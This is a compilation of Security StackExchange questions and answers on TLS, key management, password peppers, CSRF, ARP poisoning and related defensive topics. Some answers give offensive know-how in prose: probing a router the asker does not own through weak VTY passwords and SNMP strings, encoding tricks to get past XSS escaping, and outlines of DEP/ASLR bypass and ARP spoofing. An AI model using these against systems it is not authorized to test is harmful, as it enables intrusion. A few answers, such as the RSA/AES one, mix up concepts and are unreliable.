The answer to "how is that possible?" is a clever attack called "SSL stripping" (see previous Q on Security.StackExchange). In a nutshell, when the browser connects to a site over HTTP, it has no way of knowing whether it is actually talking to the server it meant to reach, or some attacker who has redirected or intercepted the request. That attacker (if present) could then make an HTTPS connection to the real site, sending along the same request it got from the user (just over the secure connection this time), and then decrypt the HTTPS response and send it back to the user via plain-text. In the process, the attacker can record and also modify the responses (and the requests), doing things like changing any HTTPS link into an HTTP link, so that the user doesn't click some link or button and switch to a secure connection (which the attacker could not intercept). If the user doesn't notice that they're on HTTP instead of HTTPS - which they can only do by looking at the URL bar closely; the site looks otherwise identical - the user might do something like log into the site, which would let the attacker see the user's credentials. An attacker who is doing this is termed a "Man In The Middle" or MITM.


Is it possible to boot an encrypted server remotely and securely? Imagine you have a server that is at a location which is not trustworthy. People might have physical access to the machine who are not supposed to look at the data stored on it.

In this scenario I thought about setting up a server with full disk encryption. This means that the key needs to be entered before the system can fully boot. As long as I have physical access entering the key without a third party getting to know it is feasible.

However, when the server needs to be booted remotely I need to enter the key without being present. Linux offers the possibility of running a lightweight SSH server before fully booting the system so that you can enter the key. However, the certificate for this SSH server obviously needs to be stored unencrypted (because it needs to be read before the key is entered) so attackers can access it and fake our server thus gaining knowledge of the key.

Is there any way to make this process secure? In the best case this would even be OS-independent.

Microsoft's 3rd immutable law: "If a bad guy has unrestricted physical access to your computer, it's not your computer anymore." So you have to trust the people running your data-centre. That's what trust means in information security: it's what you are reluctantly forced to do when you can't fully control, avoid, or transfer a risk.

Still, you will want to put as many controls in as you can. In this case, a TPM module is probably your best bet - the key is burned into the silicon of the chip when it's made, and so is very difficult to extract.

Windows and Linux both support TPM based full disk encryption; so does VMWare ESXi, which would also give you OS independence.

Lastly, @hopelessn00b et al point out something I should have remembered - the remote management cards you can get on enterprise-class servers use strong encryption. That's a great way to get ssh access to the console in hardware, so you don't have to mess with the config of your box.


Using SSL for a single request I want to use distributed cluster configured like: xx.resource.server.com.
xx - can be anything from aa to zz, most of the requests will be one time.

I need the connection to be secure between client and server, so I was thinking of using multidomain SSL certificate, to be safe from ears dropper, but from my understanding this would require establishing SSL connection on every request, which is costly and inefficient.

Is there an effective way to share SSL established key for aa.resource.server.com and ab.resource.server.com?
Is it better, just to use shared key, established with SSL protected server?

If a client is connecting to a different domain, then it's a different SSL session, regardless of whether or not it's the same key. Since the domain is different, there's no guarantee as to whether its the same server or not, so a different connection is required.

If you want to re-use the connection, then don't close the connection. If this is HTTP (you didn't specify) than you can do this using keep-alive, but typically only if you're using the same domain.


Reading older mails signed with a certificate that has meanwhile expired A few years ago I have used S/MIME certs to sign (and encrypt) my mails.

The reason for which I stopped signing was the following:
My (class 2) cert was issued on Jan. 1st 2008 (just a sample).
It was valid for 1 year.
Thus it expired on Jan 1st 2009.

During Jan. 1st 2008 and Dec. 31st 2009 I sent hundreds of mails.
Everything worked out fine.

On (just a sample again) Jan. 12th 2009 recipients started to read (maybe read again) mails I had sent end of December 2008. Maybe they were on vacation over new year or they just wanted to read mails already read again.

Anyway, in December 2008 these mails were signed with a valid cert.
But when reading these mails on Jan. 12th 2009 the same cert was already expired.

What happened?
Well, the recipients received a warning.
They contacted me asking what's going on, asking whether I got hacked etc. :)
They started to delete my mails and stuff like that.

Is there any way to prevent that this happens again (i.e. to prevent that warnings appear when older mails are being read)?

Thanks!

P.S.:
This is my very first question here, hope I obeyed to all rules.
I thought it is a good idea to illustrate the problem along a simple example.
Anyway, don't deal to severely with me :)

Let's give it a chance:

If you have a key which expires in a year, all the data sent signed with that key within that year is valid forever (unless the key have been exposed), the problem here is, has the data or the application which uses it the correct information about when it was generated? (date signature stamp).
A different problem may be, hey, you are signing your data with an outdated key, then, the data might be valid but you should have foreseen this problem and you should have already generated a new certificate (let's say, a month before expiring).

A pair of problems somewhat remain. What happens if the data or message is back to life again? Should I leave the old signature with it? Well, this just depends on your Secret Management, but what you could do is sign it again.  The other problem is, can I educate the people I communicate with about this certificates thing? This is a hard work and if they are not really into this stuff the warnings will feel like "everything is going fine, no problem" or "everything is wrong, nuke it from orbit".

Maybe (and I have added this after your clarification), your best option here (if you really want to avoid most of this warnings) is to choose a certificate which expires more or less with the information, so, let's say you are in a project that will take a year, then you better check your keys because if it expires within a month maybe you will face this problem again so you better generate a new key for the project (this could be a bit of a PITA if you work with different projects and so on).

After all, it is impossible to know how your client's software is going to behave, you might not even know what software they use so it is impossible to foresee the problems, you will need to educate them and be always aware of when your certificate is going to expire so you can notice your clients beforehand.


Storing the master key in the app server binary Imagine you have a master key to encrypt/decrypt the data saved in your database of your app service. What is the risk of having this key embedded in your app service code to store this key in the app server binary files? Can hackers get this key from the binary of your app server?

If not, what is the best way to protect this master key if you are running in the cloud?

The language used is C.

Hackers could obtain this key when they obtain access to the server binary.

When there is no reason why the users would need legitimate access to the server binary files (which should be the case when they interact with the server via network), it should be possible to harden the server sufficiently to make access impossible.

But keep in mind that when you hardcode a secret key in your application, anyone who has access to the sourcecode can leak the key to a 3rd party - intentionally or accidently. For that reason it would be much smarter to read the key from a configuration file. That way the development team can work with their own development-key, while the production server uses a different key which is only available to the sysadmin which deploys and maintains the server in production.

Another thing which could bite you is using C for a security-relevant server application. I don't want to start a programming language flamewar, but the C programming language is known for certain features which trade security for performance and easily lead to vulnerabilities like buffer overflows which allow arbitrary memory access or even code execution. A careless bug in a completely unrelated part of your netcode could easily allow an attacker to extract the memory which stores your key (no matter if it's hard-coded or read from a config file). But when you insist on writing an application which is security-relevant in C, at least be careful with certain functions like memcpy, strcpy, sprintf and several others which deal with arrays and don't do automatic bound-checking (which, how and why is enough stuff for another question).


What is the purpose of a Pepper? I've been trying to find out exactly what a pepper is. The only things I could accurately determine are that a Pepper:

Is theoretically unique from site to site and hard-coded in the site's source
Is usually the same random string and used in every hash

But I haven't been able to figure out it's purpose in adding security to a password hash.

Can someone please explain to me what purpose a pepper has (or had) in the password hashing process?

A "pepper" is a secret application-wide random value appended to a password before hashing it. This ensures that an attacker has no way of actually cracking the password hashes without compromising the pepper value one way or another. This is unlike a salt which usually isn't a secret and appended together with the password hash.

If done right, this can be helpful in ensuring that an attacker with limited access to your systems will not be able to crack the passwords you store. This is quite a common scenario. Imagine an attacker that found a SQL injection attack that allows him to dump your password database. He will be unable to crack those passwords without the pepper which is stored in a configuration file he cannot get at.

That being said, I don't think peppers are commonly implemented. I don't know of any password hashing libraries that provide this out of the box, and i have never used it in my own applications.


How to secure a website against a ping of death attack? I found this video in which they talk about crashing a website with a Ping Of Death (PoD) attack, using cmd only. How to secure a website against this type of denial-of-service (DoS) attack?

I assume it's harder to protect against it since anyone can perform such an attack.

Ping of Death attacks are things of the past. Operating systems no longer freak out when assembling large fragmented ICMP packets.

That video is trying to demonstrate a ping flooding attack, a DoS attack in which he's trying to send more ICMP packets than what the server can handle. Chances are that the server being "attacked" has bigger downlink that the attacker's uplink. Allow me to demonstrate.

The guy in the video is trying to do something like this:

As you can see, he'll never be able to flood the server's downlink/resources. For this attack to be successful you need something called a Distributed Denial of Service attack (DDoS), in which a large number of attackers try to flood the server's resources

To learn about mitigating DDoS attacks, you can start by checking this question about different techniques used by firewalls.


Is there a way to check the filetype of a file uploaded using PHP? I don't want it to just check the extension of the file as these can easily be forged even MIME types can be forged using tools like TamperData.

So is there a better way to check file types in PHP ?

You want PHP's Fileinfo functions, which are the PHP moral equivalent of the Unix 'file' command.

Be aware that typing a file is a murky area at best.  Aim for whitelist ("this small set of types is okay") instead of blacklist ("no exes, no dlls, no ...").  Do not depend on file typing as your sole defense against malicious files.


Why do Chrome and OpenSSL disagree over signature algorithm? $ openssl version
OpenSSL 1.0.2h  3 May 2016

$ openssl s_client -connect winkel.vpro.nl:443 < /dev/null 2>/dev/null | openssl x509 -text -in /dev/stdin | grep -i sha
    Signature Algorithm: sha1WithRSAEncryption
    Signature Algorithm: sha1WithRSAEncryption

But Chrome says SHA-256:

(Chrome version 51.0.2704.84 (64-bit))

Why do Chrome and openssl disagree over signature algorithm?

Because they get different certificates. The reason for this is that Chrome uses Server Name Indication (SNI) whileopenssl s_client does not, at least not by default.

If you look close not only the signature algorithm is different but also the subject of the certificate:

$ openssl s_client -connect winkel.vpro.nl:443 | openssl x509 -text
...
Subject: ... CN=_default_.omroep.nl/emailAddress=beheer@omroep.nl
...
Signature Algorithm: sha1WithRSAEncryption

If you instead use SNI by using the -servername argument you get the same certificate you got with Chrome:

$ openssl s_client -connect winkel.vpro.nl:443 -servername winkel.vpro.nl | \
     openssl x509 -text
...
Subject: C=NL, ST=Noord-Holland, L=Hilversum, O=VPRO, OU=ICT, CN=*.vpro.nl
...
Signature Algorithm: sha256WithRSAEncryption


Are third party authentification provider included via iframe by default considered (in)secure? Authentification provider X is used by many non-related websites like A, B and C as (sole) authentification provider. X therefor provides a framework for athentification which includes a login form via an iframe into the website of A (or B/C) where the user puts in his credentials. (A/B/C are hosted under their own, unrelated domain.) Then the user clicks login and if the credentials for X are correct, he is authentificated for website A (or B/C). Alternatively he can click to open a new window from an URL from website X and enter his credentials there (he has to do this for every login).

In my opinion an attacker could make a website like a gaming forum G faking to use X for authentification and fake the iframe and send the entered credentials from user U to his own server and use the credentials of U to authentificate himself at A/B/C as U. U has no clue that they will be used to authentificate against A and not against G as they are the same and A and G are unrelated.

I told X about this but they just answered that entering the credentials outside their own website (outside includes the iframe) would be against their terms of usage but would have to use the new window version and so they don't consider it a security hole. It didn't matter that I showed them prove that nobody used the new window version in the last months (including their own staff).

Therefore I want to know if there is a guideline whether this is considered (in)secure?

(X is mostly used by websites in the areas of HIPA, financial data, sensitive personal information and X promotes himself as very secure for those but also normal areas)

Edit: I don't want to use the framework but I am a (forced) user like many others of the websites A and B and data about me are stored on C and concerned about my security and the security of my data.

I think you see the problem that the user does not know how and where the login form gets submitted without actually inspecting the source code. And that it would be much better if there would be a separate window so that the user can see the URL, ideally together with a trusty looking green bar for https EV certificates.

And although this does not guarantee that the data are actually submitted to this site (i.e. XSS attacks or similar might affect the target or it might be a different target from start) it is better for the user if the same URL is displayed on all logins to the site because this way it can be easier checked if this is the same site as last time and thus if it is still trustworthy.

Therefore I agree with you that this is a usability problem which might make phishing easier and is thus a security problem too. You might point out in your argumentation against X that sites like Paypal never let their login dialogs be embedded into iframes but instead always want to have their own window with the trusty locking green bar and the familiar URL. And they actually teach users to watch out for these signs to detect phishing sites.


Key rotation benefits of a multi-key hierarchy I think I have a decent grasp of the problems associated with key rotation, and as I'm working through them determining an approach for key management on an application I keep stumbling up against something that doesn't make any sense to me.

Consider that we've got a key used to encrypt data (the data encrypting key or DEK) and a key used to encrypt the DEK (the key encrypting key or KEK). So far so good - I understand that model.

However in numerous places I've seen it claimed that using this model makes key rotation easier, because when it's time to expire keys you just expire the KEK and not the DEK, so your data doesn't need to be reëncrypted.

I'm not questioning the value of the pattern; at the very least the KEK is another turtle in the "Who's got the most significant key?" game. But the claim about key rotation seems specious - if your KEK is compromised then so is your DEK and to be secure you need to reëncrypt everything. Am I missing something important there?

It occurs to me that perhaps I'm conflating key rotation with key replacement due to compromise and that in a simple rotation (where all keys are still assumed to be secret) rotating the KEK is sufficient. Is that the piece that's got me confused?

It occurs to me that perhaps I'm conflating key rotation with key replacement due to compromise and that in a simple rotation (where all keys are still assumed to be secret) rotating the KEK is sufficient. Is that the piece that's got me confused?

Seems that you've found the issue yourself. Key rotation is the periodic rotation of the keys to prevent possible future compromise. Key replacement due to key compromise would require the replacement of all keys which may have been compromised, which would include all keys encrypted by those keys.


How to bypass DEP and ASLR at the same time? I have read some articles about bypassing DEP and ASLR , but it seems that they bypass ASLR and DEP  by using the instructions in the modules not applying ASLR.But how to bypass ASLR and DEP in the modules applying both this two protection?

Like you said, first ASLR will have to be defeated before any DEP circumvention can be applied. This is usually done by leaking pointers with a separate memory disclosure vulnerability. Then when the location of the code pages is known, the usual technique of a return to libc can be applied.


Encoding special characters in response which is text/javascript I am testing a web application where input from the user is inserted without encoding into the response, but the content type of the response is text/javascript;charset=UTF-8.

Input from two parameters from the user application returns inside the JavaScript like this:

throw 'allowScriptTagRemoting is false.';
//#DWR-INSERT
//#DWR-REPLY
var s0={};
dwr.engine._remoteHandleCallback('1','0',{application:"param1",changedParts:null,module:"param2",nextModule:null,reload:true,showDialog:false,strokeActions:s0,viewMember:""});

But when I am trying to end the remoteHandleCallback by inserting " and }, these characters are escaped with backslash and treated as a part of the string, for example:

application:"\"param1"

Is this a proper defense against XSS and other vulnerabilities?

Since the response type is text/javascript, this is probably a js file being loaded and used. Loading this file directly in the browser will most likely not trigger an XSS even if you could inject the payload because of the content type not being text/html. See the following question for more info. If the response header content-type-options: nosniff is included, the risk is reduced further.

Since both " and } are properly encoded, it will be difficult to exploit. You could try different encodings to bypass the security encoding.

So all in all it looks like a proper defence against XSS.


What security features should a smart TV have? With the proliferation of smart TVs, we can now browse the web, download movies and stream videos on a TV. A smart TV is essentially a computer. However, unlike a computer, a smart TV comes with an OS pre-installed by the manufacturer. We do not have total control over its security. As such, it is vital to choose a smart TV that has security features to defend itself from hackers.

I am not looking for a specific recommendation, but seeking advice from those who understand the inner workings of smart TV OSes to give valuable advice on what security features to look out for when buying a smart TV. And what are the things to avoid.

If you don't want the TV to see you you can easily implement a mechanical lens cover.  From Band-Aids to postage stamps, stickers or OEM-looking blackout stickers, this is the only way to positively know that you're not being filmed.


When should one use RSACryptoServiceProvider vs AESCryptoServiceProvider I am interested in storing certificates for various purposes on a SmartCard.  Since this answer illustrates how there are confusing differences and similarities between RSA and AES

When should one class be used over the other to get the most interoperability?  If the class doesn't matter so much as the settings, what settings are most appropriate.

My intent is to understand which API (and corresponding settings) is best used cross platform, and across API (Java, 3rd party).  I would have posted this on the Crypto forum, but that appears to be more about theory and less about coding.

This is the only relevant part:

  "  RijndaelManaged class is a kind of implementation of Rijndael
  algorithm in .net framework, which was not validated under NIST
  (National Institute of Standards and Technology) Cryptographic Module
  Validation Program (CMVP).
          However, AesCryptoServiceProvider class calls the Windows Crypto API, which uses RSAENH.DLL, and has been validated by NIST in
  CMVP. "

You should use the one that met the NIST specifications.  Else there is no way to prove that the RSA algorithm is as secure as you think it is, or if it is compatible with other RSA implementations.


How to protect from wannacry on home wifi network I am running an outdated Windows 7 and am not able to update it due to some reasons. I wanted to know how vulnerable is my Windows to WannaCry from the home wifi network connection. What would you recommend as an alternative solution to keep my Windows protected from it?

WannaCry  spreads using windows SMB. One should be able to disable this completely. However i recommend you to update your system. You wont win the hacking race against thousands of people alone...

Checklist:

Block external access to the smb port at the router (139, 445).
Disable smb if not necessary

https://support.microsoft.com/de-de/help/2696547/how-to-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and-windows-server

https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/

The usual anti- spam stuff
the usual mail/browser hardening


A seemingly innocent program is attempting to connect online. Should I be worried? OS: Windows 10 64-bit updated, usually used for development and Steam-CSGO.

Straight to the point: Solitaire just tried to connect to the internet.

Details: After tightening my firewall rules after a RAT was installed by my friend (who then proceeded to unendingly open John Cena's theme song), I noticed Solitaire trying to connect to 40.122.214.188 which is owned by Microsoft and is part of the Xbox network. The problem is, I never even played any built-in games on my unit. I've never played Microsoft's Solitaire so outbound sync is out of the question. I don't use an Xbox. I also can't find any scheduled task for it. The system is completely clean when this happened.

Also, it seems to be in a suspended state, but still up.

The executable is located in

C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.7.1041.0_x64__8wekyb3d8bbwe
which looks legit.

Should I allow it?

If you don't plan on ever playing Solitaire on your machine, why allow it through the firewall?  You can always reverse your decision later if you decide to become a Solitaire fanatic, but until then it's safer to just deny Solitaire access.

I know it looks legit and it almost certainly is the application trying to connect with the Microsoft network to collect statistics, but who knows? In a year or so the Solitaire game could be found with a major security hole, and then you'll be glad you kept it denied under the firewall.  The tiniest slightest risk isn't worth it if you never plan to play the game.


Can I get an SSL certificate even if external DNS does not resolve I have an intranet website that requires an SSL Certificate. From what I've seen it seems like this is difficult to accomplish or cumbersome. Would I be able to buy an SSL certificate if there is an external dns which points to the internal IP address. I understand that it won't resolve if the user is not connected to the internal network. I just want to easily buy an SSL Certificate. Is this even possible?

The certificate and DNS record for IP public are irrelevant, you can buy any certificates without publish your sites. All you have to do is to prove you are the owner of that domain by clicking the approval link which send to your domain registration email or a DNS TXT record only.


How should a webmaster manage all her passwords and keys? I have several private keys that I use to ssh into AWS, dreamhost, github, etc.
I have passphrases for all of these private keys that are too complex to remember.
I have mysql passwords that my application and I both have to know.

Whats a convenient and secure way to keep track of all of this? My initial thought is that it might be useful to encrypt and tar a set of files with all this info, and put it on "the cloud" (dropbox, gmail). I can also put it on a usb stick that I keep on me at all times, but that's too easy to lose. Is there a better way?

Update
I use lastpass for passwords, and it's decent. I'm not sure how to deal with private keys, or things like ssl certificates.

[Disclosure: I work for AgileBits, the makers of 1Password]

You already mentioned using a password manager for web logins. But for things like SSH and GPG/PGP private keys, you should consider a password manager which allows you to attach files to particular items and provides easy synchronization of this data.

Encrypted file systems.

Another option, not using a password manager, is to have an encrypted filesystem on some portable thing (USB thumb drive). The difficulty is finding a format that will work portably for you. If you only use OS X, then an encrypted DMG is an option, as you will be able to mount it and decrypt it on any Mac. I don't know what the Windows alternative is. Something like TrueCrypt might be an option, but you would need to also carry or install TrueCrypt wherever you go.

Things to avoid

I would avoid using something like a password protected zip file. First the password protection/cryptography isn't all that great, but more importantly it is too easy to end up leaving unencrypted data lying around.

I would also avoid trying to roll your own encrypted file system. There really are a lot of subtleties in designing such a system that most people aren't going to consider.

What I do

I, of course, use 1Password (see disclosure). Because it handles attachments, I can attach my various private keys to items in 1Password.

Drawbacks

The biggest problem I have with this is that 1Password doesn't run on Linux or FreeBSD. (There are some open source projects to build a 1Password reader for such systems, but they aren't ready yet.).

Also as much as I trust 1Password and my 1Password Master Password, I still feel uncomfortable storing both my PGP private key file and its password in the same well-protected basket. So I store my PGP private key in 1Password, but I rely on my memory for that particular passphrase.


How to connect a vpn over a vpn? Is it possible to connect to 2 Vpn ? I mean, I have two Vpn on my pc and a want a first one to exit the LAN and then a second one to precise the exit country (which I cannot do on the first vpn) if it is possible, how can I do it ?

In theory all you need to do is to setup a route in your OS's routing table so that the second VPN's server IP will be routed via the first one. You may also have to fix the default route after the second VPN is connected.

In reality, whether you can do this depends on the OS and the VPN client. Android for example only support one VPN natively.


find hardware and OS specs on routers How do you determine the model and IOS version of a Cisco router, if you have its IP address remotely, but have no physical access. For example, I run nmap -sP and can see the router's IP, but all that's shown is "Cisco", and no information is given about its model or IOS version. Assume that we do not have a telnet client connection to the router, since we do not own the router. We just the Windows or Linux shell.

With these conditions, is there any way to get information, like as given in router advertisements, to get this detailed information about the router?

There is no sure-fire way to determine IOS and model without getting the router itself to do it. Typically this would be done using telnet or ssh and typing in "show version", which is not an elevated command. Many implementations have poor VTY passwords, so don't rule it out. Also worth trying is using SNMP to poll the router, you can use cisco's MIB browser to find the relevant OIDs. Many implementations also have poor SNMP protection including weak strings and no ACL protection on polling. You can get free net-snmp and ucd-snmp implementations for windows and unix in order to walk the OIDs.

Other than that there's good sense and guesswork which could get you close. Think about the size of the organization and its expected traffic levels in order to reduce the number of model possibilities.


Browsers and export regs. Is SGC still valid? I was reading a rather dated book on SSL/TLS, which mentions International Step Up certificates and Microsoft's Server Gated Certificates which were the way around the US export rules for economic transactions.

Now export rules still exist.

But I always saw that the browsers I have used have requested stronger cipher suites regardless of the server. Wikipedia's entry on Server Gated Cryptography says:

  Today, SGC certificates are widely considered to be obsolete as
  browsers requiring enhanced encryption capabilities are all but
  extinct, and many parties contend that facilitating the use of older,
  insecure browsers creates more security concerns than it
  remedies.[3][4] However, many certificate authorities continue to
  charge a premium for this kind of certificate.   When an SSL handshake
  takes place, the software (e.g. a web browser) would list the ciphers
  that it supports. Although the weaker exported browsers would only
  include weaker ciphers in its SSL handshake, the browser did also
  contain stronger cryptography algorithms.

I really don't understand this paragraph.

If US export laws still apply (and they do) how can the browsers use stronger crypto algorithms?
What am I missunderstading here?

I always see the browser sending strong ciphers along with weak without the server having a special indication such as SGC.

US export laws still apply, but they have been relaxed.
Excerpt from the Wikipedia page on Export of Crypto in the US:

Current status
As of 2009... Some restrictions still exist, even for mass market products, particularly with regard to export to "rogue states" and terrorist organizations. Militarized encryption equipment, TEMPEST-approved electronics, custom cryptographic software, and even cryptographic consulting services still require an export license. Furthermore, encryption registration with the BIS is required for the export of "mass market encryption commodities, software and components with encryption exceeding 64 bits". In addition, other items require a one-time review by or notification to BIS prior to export to most countries. For instance, the BIS must be notified before open-source cryptographic software is made publicly available on the Internet, though no review is required.

So while registration with BIS is still necessary for the vendors of encryption products, they can then export software which uses stronger ciphers.
You, as an end user, or server admin, do not need to worry about this!


Securing an API using Mutual TLS - Is checking the subject DN enough? I am using AWS API Gateway to build my API, and securing it using API Gateway's recently launched Mutual TLS feature. My use-case is to only authenticate a few servers. Here is my approach in brief:

Ask the clients to get client certificates issued from reputable CA, say, Digicert. The certificate must be for a domain that they own.
Set the truststore (the CA certificates used to validate the client-provided certificate) to certificate chain(s) of Digicert by downloading the appropriate certificates from their website. This will ensure that only certificates signed by Digicert are accepted, and any other certificate provided by clients will be rejected.
In a custom Lambda Authorizer, verify if the Subject DN field of the provided certificate matches the one that I expect. For example, if I trust client.example.com, I will check the Subject DN field of the certificate for this value. That is, if the Subject DN field does not equals client.example.com, 'Unauthorized` response is returned to the client.

My hypothesis is that this approach of securing the API is secure because:

I myself download (and check the hash) for the CA Root Certificates, so they are not compromised.

Client connections with any other certificate will be rejected.

Lastly, Digicert would not sign a certificate for a domain without doing proper validations and ownership checks.

Is my hypothesis correct?

The design in overall is ok. The only thing I would change is to check Subject Alternative Names extension and look for suitable DNS Name name type. The problem with Subject field (apart from it is obsolete) is that subject can include only one name. This means that if client has a certificate with:
Subject: CN=example.com
SAN1: DNS=example.com
SAN2: DNS=client.example.com
<...>

it is valid for client.example.com, however you will reject it with your existing logic. When you need to validate identity, use Subject Alternative Names extension only and do not rely on Subject anymore. After all, it is deprecated by RFC5280 and CAB/Forum long ago.


How does the Certificate Authority ensure that the CSR came from the right server? My understanding of Certificate Signing Request (CSR) is that it contains the public key and details of the requesting server. The CSR is also signed by the server using its private key so that the CA can verify that the owner of the private key actually did send the request. How does the CA verify that the certificate request came from the correct server. Can't anybody generate a public key/ private key pair and send a CSR.

Short answer: it's in the CSR.

Longer answer:

When you generate a CSR from a key pair, you provide the CA with information as to what properties the certificate should have (for what domain(s)/names, etc.).

There are different ways how CAs can verify that the CSR does in fact come from the legitimate owner of the domain(s) the CSR is for. Different CAs use different methods and for regular (non-OV/non-EV) certicifates this usually boils down to show that you have control over the domain(s) by for example

sending an email to a usually reserved email address such as hostmaster@domain with a short lived secret that has to be provided back to the CA,
requesting that the user generates a specific challenge entry in DNS,
requesting a specific challenge file from a well known directory from port 80 of the domain(s) in question.

There are however problems that arise from this sort of testing, as it is not completely conclusive: When an attacker is a MitM for the CA, this can go horribly wrong. Yet, CAs usually double check such things using different ISPs.


Do I need to do a PCI Survey We are using standalone payment terminals (Ingenico ICT220) over IP and our payment processor (heartland) insists we don't need to do any PCI SAQ or get scanning, they insist they will indemnify us if there's a breach. I can't find any instance of this, it looks to me like I should be doing SAQ B-IP in this instance and a security scan

I'm not familiar with this particular setup from Heartland, but it sounds like a "P2PE" solution. In that setup, the payment terminals have special Heartland-specific encryption keys loaded into them before they're shipped, and they encrypt all card data such that Heartland is the only one who can decrypt it. Since the data never transverses your network in a readable form, you're not in PCI scope - not even SAQ B-IP.

That said, there is a SAQ P2PE, which basically requires you to attest that you are using a P2PE certified solution and not storing card data in any other way.  You can read about it here and find the actual document here.


WordPress theme infected by 5a9fa481.megaline.co malware I have a wordpress website always updated. I'v developed a theme from scratch for it, so my theme is clean as it was always. I use strong passwords generated by specific tools. Last 3 days my website is infected by a code that redirect my website to linkbucks ads. I'v found that this was coming from a code injected into header.php or footer.php files of my theme. I'v cleaned my theme, re-uploaded wordpress core file from a new copy, changed FTP username and password, changed my admin wordpress password, but after all that the code reappear! So I try to contact my web-hosting (Godaddy), because the problem maybe coming from a bug on the server or another website hosted on the same server as my website (I'm using shared hosting), but didn't receive helpful reply from Godaddy support.
Now I don't know what to do, I just delete the code after the hacker add it, I'v changed passwords several times, but the problem is still present.
I'd like to know if I someone know something about this malware, because after googling for 5a9fa481.megaline.co there is no result. Maybe it's something new. If I can deny any modification to header.php and footer.php files I think this can help me until finding an efficient solution.
Can you help me please? Any suggestions?
(Btw, sorry for my bad English)

If you can view the access logs for the site that can be helpful. I've been able to find the attack vector for wordpress sites this way in the past.  If there's nothing there then it's likely it's coming from someone else on the host.  Perhaps you could move it to digital ocean ($5 per month for a VPS) to rule out being a problem with the shared host.


Can fully homomorphic encryption be practical? Fully homomorphic encryption has been implemented by Craig Gentry using ideal lattices.
Can it be applied to data stored on a private cloud setup in practice?
I've seen references here and on other sites that lead to the conclusion that it is very slow.

There is no proof that FHE cannot be implemented efficiently. It is just that, right now, we do not know how to do it. With currently known algorithms (Gentry's algorithm, with a few known optimizations), it would be extremely slow, which means impractical (and quite far in the "impractical" realm, actually). FHE would have to become thousands of times faster than what can be done today, in order to achieve some kind of generic practicality.

Of course, there are a few specific applications which can already make use, in a very practical way, of homomorphic encryption. Typically voting systems, such as Helios Voting -- these do not need fully homomorphic encryption, and can work with a plain, efficient, partially homomorphic ElGamal.


Is there an example of a 'first' human error security breach? I'm writing something on the biggest threats to cyber security (of either a nation state, company or individual) in the world today, and I've unsurprisingly settled on human error as the biggest.

For flavour purposes, is there any sort of a 'canonical' example of a first/early human error security breach in computer science history I could reference? Something like the moth in the Harvard Mark II that coined the term 'bug'.

About the earliest I can think of off the top of my head is the story of the US Cold War nuclear launch codes being set to "000000" for most of it.

Take a look at "Crime by Computer" by Donn B. Parker (Scribner, 1976;  ISBN-13: 978-0684155760).  In it, Mr. Parker describes several early computer crimes, including the first documented computer instance of the infamous "salami slicing" scheme that was parodied in the movie Office Space.

All of these crimes took place because of human error of some type or another; either through lack of oversight or carelessness.


What does a switched network protect us from? What does it not protect us from? There seems to be some misconceptions regarding what a switched network will protect us from, and what technologies/precautions a secure environment requires when segmenting trusted users from hostile users.

Can anyone elaborate on what the real risks of switched networks, and if there are any real benefits from a security perspective?

Switches are not meant for security. A switch differs from a hub in that it observes packets to deduce where each host is, so that a packet aimed at a given host will be written only on the physical cable leading to that host. This is a performance optimization in that it allows more traffic to happen concurrently on a given network.

The side-effect of packets not being generally broadcasted (physically) on the whole network has been historically mistaken as a security feature. But there is no guarantee that a given packet will not be copied on unwanted links; the switch operates on its own knowledge of the network layout, which is backed by a necessarily limited amount of RAM within the switch (the "ARP cache"). By "spamming" the switch you can overflow the ARP cache, leading the switch to fallback to hub-like behaviour (incoming packets are copied on every link); you can also misinform the switch with fake ethernet packets (so-called "ARP cache poisoning"). These limitations demonstrate that switched networks are not secured networks, they are just optimized networks.


Retrieving CSRF token cross-domain using JSONP, risky? Looking at this previous question, the answer suggests that using a GET request to retrieve a CSRF token in order to make a POST is a legitimate method of preventing CSRF attacks.

I have two websites, and a form is used to communicate between them -- a login form. These two sites are on separate subdomains, and the form itself on Site A is: <form method="post" action="https://siteB.com/login">..</form>

Site B requires a CSRF token to be sent in via a hidden input, so on page load, I make a JSONP call to //siteB.com/getCSRFToken, which sends back the valid token. I use javascript to insert the hidden input element into the form, the user is none-the-wiser, and the form submits properly.

Are there potential security implications to doing this? SiteB is an Express-backed Node application, so I am just using their CSRF middleware to handle generation/expiration.

In this case, I'm using it for a set of login/registration forms, so there's no information leakage

The existence of a getCSRFToken JSONP API with no other limitation on caller site is effectively a complete bypass for all CSRF protection.

If you think that is not a problem, you should just get rid of the CSRF protection system instead, as it is doing nothing for you.

If you have other forms that should still be protected, then you'd want to remove the protection from the login/registration forms.

If you do need CSRF protection on your login forms you will need to establish a cross-domain session. If site A and site B are on the same server this isn't too bad as you can create a token on one that is readable from the other. If they are separate then you have federated sessions which is a lot more work.

  all they'd be able to do is allow the user to log in, right?

That may be a problem based on how your application works. What would be the upshot if, in the middle of using your application, a user could be silently switched from one account to another by a hostile site in another tab?

If, for example, the user doesn't notice their account has changed and enters sensitive information to be stored on an account that isn't theirs but an attacker's, that could be quite bad.


Why isn't there a defense system against ARP poisoning? Wireshark can detect these kind of activites, and warn us by a 'duplicated ip address' message. Why doesn't the router act like this?
The other way is to check the cache, and don't allow two different ip address for a single mac address.

I think it is easy to prevent, but network hosts are just let it happen. Why?

The other way is to check the cache, and don't allow two different ip address for a single mac address.

I want to start here because this is a very bad idea. There are many situations where a single MAC may have multiple valid IP addresses, especially in an IPv6 world.

  Wireshark can detect these kind of activites, and warn us by a 'duplicated ip address' message.

Wireshark is highlighting in these cases a IP address potentially has more than one MAC address in the traffic. This may be a duplicate IP address, but it also may be a valid configuration.

  Why doesn't the router act like this? ... I think it is easy to prevent, but network hosts are just let it happen. Why?

It all depends on the router, network and configuration in question.

Many routers will detect and log/alert when there is the possibility of a duplicate IP address. Some routers will not update an ARP entry in their tables until the old entry ages out or is manually removed.

Hosts can be configured to handle this in different ways as well, depending on the OS.

  Why isn't there a defense system against ARP poisoning?

There is, it is often called dynamic ARP inspection or DAI and it is present as a feature on many platforms. If you use an enterprise network solution, it is almost guaranteed to be there in some form; it becomes less common as you move down towards SOHO and consumer devices, but can still be found in some, often with simplified configuration and terminology (i.e. there may be a simple check box to enable a number of end point security features).

DAI often works in conjunction with features such as DHCP snooping (which helps to prevent rogue DHCP servers) and works by building a "binding" table between client IP and MAC addresses. If the information provided by an ARP packet doesn't match an entry in the binding table, it is discarded.


